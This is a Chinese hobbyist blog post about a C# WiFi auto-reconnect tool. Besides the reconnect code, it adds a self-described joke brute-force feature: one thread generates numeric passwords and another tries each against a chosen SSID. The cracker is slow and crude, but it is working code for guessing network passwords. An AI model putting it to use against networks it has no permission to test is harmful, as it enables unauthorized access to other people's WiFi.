作者:faaronzheng 转载请注明出处!
题外话:其实没有打算继续把这个程序写下去的,不过前几天闲的无聊,就稍微改了一改,并且加了一个搞笑版的暴力破解。ps.我并没有看过暴力破解的相关知识。完全是凭着自己的理解闭门造车。我比较喜欢先自己写,然后再参考别人的。
改动一:自动重连这个部分与之前的差别不大,主要改了一下连接指定wifi的函数
#region 连接到指定的SSID
public Boolean ConnectToSSID()
{
try
{
int Desc = 0;
String profileXml = String.Format("<?xml version=\"1.0\" encoding=\"US-ASCII\"?> <WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>{0}</name><SSIDConfig><SSID><name>{0}</name></SSID></SSIDConfig> <connectionType>ESS</connectionType><connectionMode>auto</connectionMode><autoSwitch>false</autoSwitch><MSM><security><authEncryption><authentication>{1}</authentication><encryption>{2}</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>passPhrase</keyType><protected>false</protected><keyMaterial>{3}</keyMaterial></sharedKey></security></MSM></WLANProfile>", targetSSID.SSID, authen, encry, pswd);
targetSSID.wlanInterface.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
targetSSID.wlanInterface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, targetSSID.SSID);
Thread.Sleep(2000);
if (InternetGetConnectedState(out Desc, 0)) //有网络连接
{
XmlDocument doc = new XmlDocument();
doc.Load("setting.xml");
XmlNodeList nodeList = doc.SelectSingleNode("setting").ChildNodes;
foreach (XmlNode xn in nodeList)
{
XmlElement xe = (XmlElement)xn;
if (xe.GetAttribute("ssid").Equals(targetSSID.SSID))
{
isAdded = true;
}
}
if (!isAdded)
{
XmlOP xml = new XmlOP();
xml.addXml(targetSSID.SSID, pswd);
}
return true;
}
}
catch (Exception err)
{
return false;
}
return false;
}
#endregion
改动二:添加了娱乐向的暴力破解功能,纯闭门造车。
我主要是创建了两个线程,一个用来生成密码组合,一个用来尝试破解。这两个线程共享一个变量,同时只有一个在运行,另一个在等待。
private String[] allCombo=new String[1000]; //用来存放密码组合
这个数组用来存放密码组合,刚开始时生成密码的线程产生密码并添加的数组中而尝试破解的线程在等待。当数组添加满后他会停止产生新的密码进入等待,并记录洗一次要产生密码的位置。接下来尝试破解的线程会从这个数组中取出密码并且一个一个尝试,当线程把数组中所有数据尝试完后并且没有成功的话就停止尝试,交换由生成密码的线程产生新的密码。成功破解的话就返回。以此类推知道把所有的密码序列尝试完毕或找到正确的密码。
下面是用于产生所有密码组合的函数
public void AllCombo() //用于产生所有密码组合
{
double i = 0;
while(i<allComboNumber)
{
if (avaliable) //数组中有可用空间
{
for (int j = 0; j < 1000; j++)
{
if (startNumber < Math.Pow(10, passwordNumber - 1)) //为密码补0
{
String str =(startNumber + j).ToString();
String addStr = null;
if (str.Length < passwordNumber)
{
for (int k = 0; k < passwordNumber - str.Length; k++)
{
addStr += zero;
}
allCombo[j] = addStr + str;
}
}
else
{
allCombo[j] = (startNumber + j).ToString(); ;
}
}
avaliable = false;
i = i + 1000; //记录已产生密码数
startNumber = startNumber + 1000; //记录下一轮密码起始位置
}
}
}
下面试用于尝试破解的函数
public void Cracking() //暴力破解密码
{
wifi = new Wifi(SSID, null, authen, encry);
while (true)
{
if(!avaliable) //数组已满
{
for (int i = 0; i < 1000; i++)
{
wifi.pswd = allCombo[i];
Boolean result=wifi.ConnectToSSID();
crackingNumber++;
if (result==true) //有网络连接
{
password = allCombo[i];
return;
}
}
avaliable = true;
}
}
}
其实这个暴力破解效率低的最大问题就是在连接指定wifi的函数中有一个
Thread.Sleep(2000);
这也是没有办法,应为这个方法连接wifi本身需要时间。如果你不等待,那么即使连接上了wifi函数也会返回连接失败。目前我还没有想到更好的解决办法!至于我自己写的暴力破解过程是好是坏,等我参考了其他人的做法后在做评价。不过有一点,我这里面密码组合是动态产生的,应该也可以提前产生好在读取。
源代码下载:http://download.csdn.net/detail/faaronzheng/7769719
GitHub地址:https://github.com/faaronzheng/Wifi-Reconnection
发现bug或有好的改进请告诉我,大家共同学习。